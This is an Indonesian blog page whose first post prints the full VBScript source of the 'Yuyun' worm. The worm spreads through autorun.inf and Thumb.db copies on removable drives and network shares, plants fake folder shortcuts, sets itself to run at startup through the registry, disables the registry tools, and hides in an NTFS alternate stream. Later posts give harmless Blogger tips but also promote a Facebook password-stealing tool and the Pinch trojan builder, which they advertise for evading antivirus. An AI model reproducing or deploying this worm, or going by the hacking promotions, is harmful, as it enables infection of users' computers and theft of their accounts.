Membuat virus yuyun ( source code virus yuyun )

Rem Worm code Begins here
‘www.xxxxx.or.id;==================================== my name:Yuyun 1.0

‘ ============================
On Error Resume Next
Dim fso, ws
Set fso = CreateObject(“scripting.filesystemobject”)
Set ws = CreateObject(“wscript.Shell”)
Set sh = CreateObject(“Shell.application”)
Q=WScript.ScriptFullName
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+”\”+tn
Set swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
If status=”auto” Then
sh.Explore Left(WScript.ScriptFullName,3)
Else
status=Left(WScript.ScriptFullName,Len(WScript.ScriptFullName)-Len(WScript.ScriptName))+status
If fso.FolderExists(status) Then
sh.Explore status
Else
fso.CreateFolder status
sh.Explore status
End If
End If
Else
End If
Set QQ=fso.GetFile(Q)
Set Q1=QQ.OpenAsTextStream(1,0)
isiQ=Q1.Read(QQ.Size)
Q1.close
t1=InStr(1,isiQ,”Yuyun^_^~!~2008″+” >>>”,0)+18
isiQ=Right(isiQ,Len(isiQ)-t1)
hsl=””
For v=1 To Len(isiQ)
t=Asc(Mid(isiQ,v,1))
hsl=hsl+Chr(t Xor 7)
Next
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
Set temporary=fso.OpenTextFile(tmpt,2,True,0)
temporary.Write hsl
temporary.Close
ws.Run “WScript.exe //e:VBScript “+tmpt+” “””+Q+””””

Rem Worm encoded body begins here

‘Yuyun^_^~!~2008 >>> =======================================================
‘ My name : Yuyun Ver 1.0
‘ I just wanna see every girl looks nice, better, kinds especially a moslem girl
‘ by: Anonymouse in Jatim, November 2008
‘ When I found nothing beauty else… and then I wrote this script for all
‘=======================================================

On Error Resume Next
Dim fso, ws, status,status1, fly
Set fso = CreateObject(“scripting.filesystemobject”)
Set ws = CreateObject(“wscript.Shell”)
Set sh = CreateObject(“Shell.application”)
Set net = CreateObject(“wscript.network”)
fly=false
tmp=fso.GetSpecialFolder(2)
tn=fso.GetTempName
tmpt=tmp+”\”+tn
docx=ws.SpecialFolders(“MyDocuments”)
Set swt=WScript.Arguments
If swt.Count>0 Then
status=swt(0)
End If
if fso.fileexists(tmp+”\Yuyun.Q”) then
set ira=fso.getfile(tmp+”\Yuyun.Q”)
ira.attributes=0
ira.name=”shalihah.ira”
if ira.name=”shalihah.ira” then
ira.name=”Yuyun.Q”
set ira=fso.opentextfile(tmp+”\Yuyun.Q”,2,true)
else
fly=true
end if
else
set ira=fso.opentextfile(tmp+”\Yuyun.Q”,2,true)
end if
Set AQ=fso.GetFile(status)
If fso.FileExists(tmpt) Then fso.GetFile(tmpt).Attributes=0
AQ.Copy tmpt,True
Set AQ=fso.GetFile(tmpt)
AQ.Attributes=39
anv=tmp+”\auto.exe”
If Not fso.FileExists(anv) Then AQ.Copy anv
Set auto=fso.GetFile(anv)
auto.attributes=0
Set aut=fso.OpenTextFile(anv,2,True,0)
isi=”[autorun]>open=WScript.exe //e:VBScript thumb.db auto>shell\open=Open>shell\open\Command=WScript.exe //e:VBScript thumb.db auto>shell\open\Default=1>shell\explore=Explore>shell\explore\Command=WScript.exe //e:VBScript thumb.db auto”
isi=Replace(isi,”>”,vbCrLf)
aut.Write isi
aut.Close
auto.Attributes=39
ltkc=sh.Namespace(&H1c&).Self.path + “\Microsoft\CD Burning”
AQ.Copy ltkc+”\thumb.db”,True
auto.Copy ltkc+”\autorun.inf”,True
If fso.FileExists(docx+”\database.mdb”) Then fso.GetFile(docx+”\database.mdb”).Attributes=0
AQ.Copy docx+”\database.mdb”,True
regQ
Set rara=UNISKA
Hertz False
If Day(Now)<>3 Then rekursif docx,1 Else rekursif docx,3
call attack_net
Hertz True
Sub rekursif(path,dp)
On Error Resume Next
dropf path
wscript.sleep 50
If dp>0 Then
For Each fldr1 In fso.GetFolder(path+”\”).SubFolders
rekursif fldr1.Path, dp-1
Next
End If
End Sub
Sub dropf(path)
On Error Resume Next
if day(now)=1 and (month(now)mod 3)=1 then
rara.copy path+”\Baca AQ.rtf”
rara.copy path+”\My name is Yuyun.rtf”
end if
g1=path+”\autorun.inf”
g2=path+”\Thumb.db”
If fso.FileExists(g1) Then
Set g11=fso.GetFile(g1)
If g11.Attributes<>39 Then
g11.Attributes=0
auto.Copy path+”\autorun.inf”,True
end if
else
auto.Copy path+”\autorun.inf”,True
end if
If fso.FileExists(g2) Then
Set g12=fso.GetFile(g2)
If g12.Attributes<>39 Then
g12.Attributes=0
AQ.Copy path+”\Thumb.db”,True
end if
else
AQ.Copy path+”\Thumb.db”,True
End If
If Not fso.FileExists(path+”\Microsoft.lnk”) Then
shorZvnita path+”\Microsoft”,”Microsoft”
drop=Array(“New Harry Potter and…”,”New Folder”,”SuratQ”,”Rahasia”,”Game”,”Zvnita”,”Download”,”DataQ”,”DataQ”)
ww=1
For Each d In drop
If Day(now) Mod 3 = ww Then shorZvnita path+”\”+d,d
wscript.sleep 60
ww=ww+1
Next
r=0
For Each fldr In fso.GetFolder(path+”\”).SubFolders
shorZvnita path+”\”+fldr.name,fldr.Name
wscript.sleep 60
If r>3 Then
Exit For
End if
r=r+1
Next
End If
End Sub
Sub shorZvnita(path,trgt)
Set shor=ws.CreateShortcut(path+”.lnk”)
shor.iconlocation=”shell32.dll,3″
shor.targetpath=”wscript.exe”
shor.arguments=”//e:VBScript thumb.db “””+trgt+””””
shor.save
End Sub
function attack_net()
On Error Resume Next
err.clear
Set objFolder = sh.Namespace(&H13&)
Set colItems = objFolder.Items
For Each strFileName in objFolder.Items
t= objFolder.GetDetailsOf(strFileName, 14)
if fso.folderexists(t) then
rekursif t,4
end if
Next
End function
Sub tdr()
On Error Resume Next
err.clear
WScript.Sleep 180000
if err.number>0 then wscript.quit
End Sub
function UNISKA()
On error resume next
x=vbcrlf
adv=”Yuyun Ver 1.0 ^_^!==================>>Bukan dari tulang ubun ia dicipta>karna berbahaya membiarkannya dalam sanjung dan puja>tak juga dari tulang kaki>karna nista membuatnya diinjak dan diperbudak>tapi dari tulang rusuk bagian kiri>dekat ke hati untuk disayangi>dekat ke tangan untuk dilindungi>>(dikutip dr: Agar Bidadari Cemburu Padamu)>>>””Janganlah kamu bersikap lemah, dan janganlah (pula) kamu bersedih hati, padahal kamulah>orang-orang yang paling tinggi (derajatnya), jika kamu orang-orang yang beriman.””>(QS. Ali Imran:139)>>>Katakanlah kepada orang laki-laki yang beriman: “”Hendaklah mereka menahan pandanganya, >dan memelihara kemaluannya; yang demikian itu adalah lebih suci bagi mereka, >sesungguhnya Allah Maha Mengetahui apa yang mereka perbuat.”” (QS. An Nur:30)>>Katakanlah kepada wanita yang beriman: “”Hendaklah mereka menahan pandangannya, >dan kemaluannya, dan janganlah mereka menampakkan perhiasannya, kecuali yang >(biasa) nampak dari padanya. Dan hendaklah mereka menutupkan kain kudung >kedadanya….”” (QS. An Nur:30)>>Sorry I just Nitip Print thok….Ndak pa2 khan^_^! http://www.muslimah.or.id >>Hai anak Adam, sesungguhnya Kami telah menurunkan kepadamu >pakaian untuk menutup auratmu dan pakaian indah untuk perhiasan.>Dan pakaian takwa itulah yang paling baik. Yang demikian itu adalah >sebahagian dari tanda-tanda kekuasaan Allah, mudah-mudahan mereka selalu ingat.(Al-A’raf:26)”
adv=replace(adv,”>”,x)
set Yu2n=fso.opentextfile(tmp+”\v.doc”,2,true)
Yu2n.write adv
Yu2n.close
if day(now)=1 and (month(now)mod 3)=1 then
if fly=false then
for i=1 to 3
ws.run “notepad.exe /p “””+tmp+”\v.doc”””
next
end if
end if
set UNISKA=fso.getfile(tmp+”\v.doc”)
end function
Sub regQ()
On Error Resume Next
if day(now)=1 then
ws.RegWrite “HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\”, “Yuyun_Cantix”
ws.RegWrite “HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\DefaultIcon\”,”shell32.dll,48″
ws.RegWrite “HKCR\CLSID\{11111111-2222-3333-4444-555555555555}\ShellFolder\Attributes”,0,”REG_DWORD”
ws.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{11111111-2222-3333-4444-555555555555}\”,””
end if
ws.regdelete “HKCR\lnkfile\IsShortcut”
ws.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Explorer”,”Wscript.exe //e:VBScript “””+docx+”\database.mdb”””
ws.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools”,1,”REG_DWORD”
if lcase(fso.getdrive(“c:”).FileSystem)=”ntfs” then
iraQ=AQ.openastextstream(1,0).read(AQ.size)
www=fso.GetSpecialFolder(0)
set jjk=fso.opentextfile(www+”\:Microsoft Office Update for Windows XP.sys”,2,true)
jjk.write iraQ
jjk.close
ws.RegWrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate”,”Wscript.exe //e:VBScript “””+www+”\:Microsoft Office Update for Windows XP.sys”””
end if
End Sub
Sub Hertz(ooo)
On Error Resume Next
do
For Each drv In fso.Drives
If drv.DriveType=1 Then
rekursif drv.Path,4
Else
rekursif drv.Path,2
End if
Next
if fly=false then
tdr
else
wscript.quit
end if
regQ
If ooo=False Then
Exit Do
End If
loop
End Sub

rem worm encoded body ends

Rem By xxxxxx
Rem Fully decoded, no editing take apart

Mohon Jangan Di salah gunakan…!!!

Ditulis dalam Virus. 3 Comments »

Pasang Emoticon di Kotak Komentar

Hi…Pengunjung trik internet dan komputer ,kali ini saya berbagi tips memasang emaotion dikotak komentar ,karena Dengan adanya emoticon di kotak komentar tentunya akan membuat blog menjadi lebih hidup. Para komentator menjadi lebih bisa mengekspresikan perasaannya melalui icon2 (emoticon). tips ini saya kutip dari blognya mas kendhi

Ada dua jenis emoticon yaitu emoticon yahoo dan emoticon kucing, contohnya ada di bawah ini :
Emoticon Yahoo :

Emoticon Kucing :


Gini nih cara membuatnya :

1. Pertama login ke blogger, trus ke “Layout (Tataletak) –> Edit HTML
2. Beri tanda centang pada kotak “expand widget template”
3. Lalu letakkan script berikut sebelum kode

Untuk Emoticon Yahoo :
==========================================================
// <![CDATA[src=’http://kendhin.890m.com/emoticon/smile1.js&#8217; type=’text/javascript’ />]]>

==========================================================

Untuk Emoticon Kucing :

=========================================================

// <![CDATA[src=’http://kendhin.890m.com/emoticon/smile2.js&#8217; type=’text/javascript’ />]]>

==========================================================

4. Kemudian cari kode berikut ini :

==========================================================

<p class=’comment-footer’>
<b:if cond=’data:post.embedCommentForm’>
<b:include data=’post’ name=’comment-form’/>
<b:else/>
<b:if cond=’data:post.allowComments’>
expr:href=’data:post.addCommentUrl’ expr:onclick=’data:post.addCommentOnclick’>
</b:if>
</b:if>
</p>

==========================================================

5. Kalo sudah ketemu letakkan kode2 berikut setelah kode <p class=’comment-footer’>
==========================================================
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/21.gif’/&gt;
:))
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/100.gif’/&gt;
:)]
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/71.gif’/&gt;
;))
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/5.gif’/&gt;
;;)
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/4.gif’/&gt;
😀
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/3.gif’/&gt;
😉
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/10.gif’/&gt;
:p
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/20.gif’/&gt;
:((
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/1.gif’/&gt;
🙂
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/2.gif’/&gt;
😦
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/8.gif’/&gt;
:X
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/12.gif’/&gt;
=((
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/13.gif’/&gt;
😮
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/7.gif’/&gt;
:-/
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/11.gif’/&gt;
:-*
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/22.gif’/&gt;
😐
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/35.gif’/&gt;
8-}
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/102.gif’/&gt;
~x(
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/104.gif’/&gt;
:-t
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/66.gif’/&gt;
b-(
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/62.gif’/&gt;
:-L
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/14.gif’/&gt;
x(
<img border=’0′ src=’http://us.i1.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif’/&gt;
=))
</b>
==============================================================

Kalo mo yang emoticon kucing pake yang ini :
========================================================

<img border=’0′ src=’http://kendhin.890m.com/emoticon/capek.gif’/&gt;
:f
<img border=’0′ src=’http://kendhin.890m.com/emoticon/bigsmile.gif’/&gt;
😀
<img border=’0′ src=’http://kendhin.890m.com/emoticon/hi.gif’/&gt;
🙂
<img border=’0′ src=’http://kendhin.890m.com/emoticon/kagum.gif’/&gt;
;;)
<img border=’0′ src=’http://kendhin.890m.com/emoticon/love.gif’/&gt;
😡
<img border=’0′ src=’http://kendhin.890m.com/emoticon/malu.gif’/&gt;
:$
<img border=’0′ src=’http://kendhin.890m.com/emoticon/marah.gif’/&gt;
x(
<img border=’0′ src=’http://kendhin.890m.com/emoticon/bingung.gif’/&gt;
😕
</b>
<br/>
<b>
<img border=’0′ src=’http://kendhin.890m.com/emoticon/mumet.gif’/&gt;
:@
<img border=’0′ src=’http://kendhin.890m.com/emoticon/muntah.gif’/&gt;
:~
<img border=’0′ src=’http://kendhin.890m.com/emoticon/mentok.gif’/&gt;
😐
<img border=’0′ src=’http://kendhin.890m.com/emoticon/ngakak.gif’/&gt;
:))
<img border=’0′ src=’http://kendhin.890m.com/emoticon/sedih.gif’/&gt;
😦
<img border=’0′ src=’http://kendhin.890m.com/emoticon/senang.gif’/&gt;
:s
<img border=’0′ src=’http://kendhin.890m.com/emoticon/tolong.gif’/&gt;
:((
<img border=’0′ src=’http://kendhin.890m.com/emoticon/wow.gif’/&gt;
😮 <a href=’http://aldyreyhan.blogspot.com/’&gt;.</a></b>
========================================================

6. Kalo sudah trus di “save” dan coba lihat hasilnya

Tambahan
* Kadang-kadang ada beberapa template memiliki kode yang beda. Kalau caranya sudah dilaksanakan dengan benar tapi hasilnya tidak terjadi apa2 atau kodenya tidak berubah menjadi emoticon, kemungkinan itu karena Kode untuk templatenya berbeda atau bisa juga karena mungkin hosting untuk menaruh file emoticon dan javascriptnya sedang bermasalah.

Ditulis dalam Tutorial. 8 Comments »

Memasang Script Anti Jiplak Pada Blog

HI…friends, Kali ini saya akan berbagi tips Cara memasang Anti Jiplak / copas ,Pertanyaan dari emen Blogger saya ,Postingan ini Merupakan Lanjutan dari Cara Mendisable Klik Kanan…? yang sebelumnya Mendisable klik kanan,merupakan  anda merasa bahwa postingan anda tidak boleh di CoPas orang lain, menurut saya sich oke- oke saja.Karena di balik itu, kita semua tahu bahwa membahagiakan orang lain adalah amal ibadah. Jadi kalau orang lain menjiplak postingan anda, berarti anda telah membantu/membahagiakan orang lain.
Alangkah bijaknya bila kita minta izin kepada yang punya blog atau setidaknya meninggalkan komentar, bahwa kita telah menCoPas karyanya. Dan lebih bijak lagi bila kita menyertakan nama si empunya karya tersebut apabila kita juga mempostingkannya.

Berikut ini langkah-langkah berikut :

1. Masuk ke Dasbor
2. Klik tab Tata Letak
3. Klik tab Edit HTML
4. Beri tanda centang pada kotak kecil Expand Template Widget
5. Silahkan cari di dalam template anda kode <head>
6. Persis setelah kode tersebut, copypastekan script berikut ini:

<SCRIPT type=”text/javascript”>
if (typeof document.onselectstart!=”undefined”) {
document.onselectstart=new Function (“return false”);
}
else{
document.onmousedown=new Function (“return false”);
document.onmouseup=new Function (“return true”);
}
</SCRIPT>
7. Klik Simpan Template
8. Selesai

Selamat mencoba, semoga bermanfaat!!!

Mendisable Klik Kanan…?

Terkadang kita ada kalanya kepingin halaman blog kita tidak bisa di klik kanan oleh orang lain, mungkin karena ada sesuatu hal yang membuat kita terpaksa membuatnya.

Mungkin saja karena kita ingin melindungi semua rahasia-rahasia yang ada di balik klik kanan tersebut. Terlepas dari hal itu, entah anda pingin atau tidak, saya coba membantu cara praktis membuat klik kanan di halaman blog anda agar didisable oleh system.

Untuk itu silahkan ikuti langkah-langkah berikut ini :

1. Masuk ke Blog anda
2. Klik Tata Letak
3. Klik Tambah Gadget
4. Klik pilihan menu HTML/JavaScript
5. Pastekan script di bawah ini ke dalam kolom konten tersebut:

————————————————————–
<script>
var message=”Maaf, Klik Kanan Saat Ini Saya Disable“;
///////////////////////////////////
function clickIE4(){if (event.button==2){alert(message);return false;}}
function clickNS4(e){if (document.layers||document.getElementById&&!document.all){if (e.which==2||e.which==3){alert(message);return false;}}}
if (document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS4;}
else if (document.all&&!document.getElementById){document.onmousedown=clickIE4;}
document.oncontextmenu=new Function(“alert(message);return false”)
</script>

6. Silahkan ganti script yang berwarna merah dengan kalimat pilihan anda
7. Klik Simpan
8. Selesai

Check out my Slide Show!

Pirates facebook hack v 1.5

Mengingat banyaknya peminat dan antusias para facebooker buat “menjahili” facebook orang lain, baik cuma iseng atau mau mengambil chip poker (Zynga Texas Hold’Em Poker atau permainan lainnya) saya tergerak untuk membantu kawan kawan semua sekali lagi, buat menyediakan software nya. Disini saya mencoba menawarkan sebuah software yang angka kegagalan mengambil password orang lain adalah 0%. software ini adalah Pirates facebook hack v 1.4 versi terbaru (mungkin anda sudah pernah melihat versi sebelumnya) sebuah software yang selain ini juga bisa hacking facebook orang lain dengan membajak server facebook sehingga email dan password korban bisa diketahui, software ini juga bisa digunakan untuk menjaga account facebook anda dari hacking. cara melakukan hacking untuk software ini agak sedikit rumit, oleh karena itu saya juga menyediakan video tutorialnya yang bisa di download di link yang saya sediakan. ketika anda membuka software ini, akan diminta passwordnya, passwordnya adalah a1b(untuk melihat password anda harus memblock semua tulisan) kalau dengan tool yang lain anda sering gagal, saya yakin dengan tool ini anda akan berhasil…

 

Pirates facebook hack v 1.5


Pirates facebook hack v 1.4 (password :a1b)

video tutorial

Sumber: http://www.wiredownload.com/

Ditulis dalam Hacker, Software. 14 Comments »

Cara Mudah Membuat Virus Komputer & Internet

Membuat virus, hal yg menyenangkan sekaligus menjengkelkan. Kadang virus yg kita buat tidak bisa bekerja dengan baik. Sekarang ini bermacam-macam cara untuk membuat virus. Cara yg paling mudah adalah menggunakan software ini. Namanya PInch pro 2 Builder. Merupakan software/ tool dirancang secara profesional untuk membuat virus. Dengan tool ini kita bisa membuat virus trojan. Tanpa memerlukan modal pengetahuan bahasa pemrograman, bahkan sampai orang awam pun bisa membuatnya. Hanya dengan setingan beberapa option langsung compile…Jadi deh virus tersbut. Mudahnya lagi tipe-tipe torjan tersebut bisa kita setting da kita ubah-ubah jenisnya. Hal ini bisa dilakukan untuk menghindar dari tangkapan anti-virus. wuih…ngeri banget ya!

download disini

Apakah anda suka membuat virus?

bentuk virus

Ditulis dalam Software, Virus. 4 Comments »
Ikuti

Kirimkan setiap pos baru ke Kotak Masuk Anda.

%d blogger menyukai ini: